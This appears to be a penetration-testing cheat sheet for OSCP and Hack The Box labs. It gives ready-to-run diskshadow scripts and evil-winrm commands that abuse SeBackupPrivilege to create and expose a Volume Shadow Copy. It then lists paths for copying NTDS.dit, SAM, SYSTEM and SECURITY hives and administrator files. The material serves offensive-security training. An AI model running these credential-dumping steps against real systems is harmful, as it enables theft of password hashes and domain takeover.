diskshadow — VSS Shadow Copy (SeBackup / SeRestore)
Ctrl+F:
diskshadow·expose·alias·begin backup·set context persistent
Built-in Windows tool for Volume Shadow Copy Service (VSS). With Backup Operators privileges, create a snapshot of C: and expose it as a drive letter — read NTDS.dit, SAM, SYSTEM from the shadow without stopping services.
Full priv esc workflows → SeBackupPrivilege · SeRestorePrivilege
Syntax
diskshadow
diskshadow /s C:\path\to\script.txtInteractive mode: type commands line by line. Script mode (/s) — preferred in evil-winrm.
📌 Script template A — backup context (robocopy path)
Use with robocopy /b after expose. Common OSCP / HTB pattern.
File: ine.txt (or any path)
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias ine
create
expose %ine% E:
end backup
diskshadow /s C:\Users\jackie\Desktop\ine.txt
dir E:\Windows\NTDS\
dir E:\Windows\System32\config\| Line | Purpose |
|---|---|
set metadata | Temp cab file for shadow metadata |
set context clientaccessible | Shadow readable by backup clients |
set context persistent | Shadow survives after diskshadow exits |
begin backup / end backup | Backup operator context |
add volume C: alias ine | Name shadow ine |
create | Create the shadow copy |
expose %ine% E: | Mount shadow as E: |
Next step: robocopy > 📌 Backup mode (/b) — SeBackupPrivilege or reg save
📌 Script template B — simple persistent (DLL path)
Use with SeBackupPrivilege DLLs (Copy-FileSeBackupPrivilege) — exposes H:
File: C:\windows\temp\cmd
set context persistent nowriters
add volume c: alias temp
create
expose %temp% h:
exit
diskshadow /s C:\windows\temp\cmd
dir H:\windows\ntds\Then SeBackupPrivilege > 📌 5) Method 4 — diskshadow + SeBackupPrivilege DLLs
📌 evil-winrm — write script inline
@'
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias ine
create
expose %ine% E:
end backup
'@ | Out-File -Encoding ascii C:\Users\jackie\Desktop\ine.txt
diskshadow /s C:\Users\jackie\Desktop\ine.txtOr upload ine.txt from Kali.
📌 What to copy from shadow
| Target | Shadow path |
|---|---|
| NTDS.dit (DC) | E:\Windows\NTDS\ntds.dit |
| SYSTEM | E:\Windows\System32\config\SYSTEM |
| SAM | E:\Windows\System32\config\SAM |
| SECURITY | E:\Windows\System32\config\SECURITY |
| Admin loot | E:\Users\Administrator\Desktop\ |
📌 Troubleshooting
| Issue | Fix |
|---|---|
| Access denied | Need SeBackupPrivilege (+ often SeRestore) — whoami /priv |
| Drive letter not visible | Re-run script; try different letter (E:, H:) |
meta.cab error | Ensure C:\Windows\Temp writable |
Empty NTDS folder | Not a DC — use SAM/SYSTEM instead |
| Shadow disappears | Use set context persistent |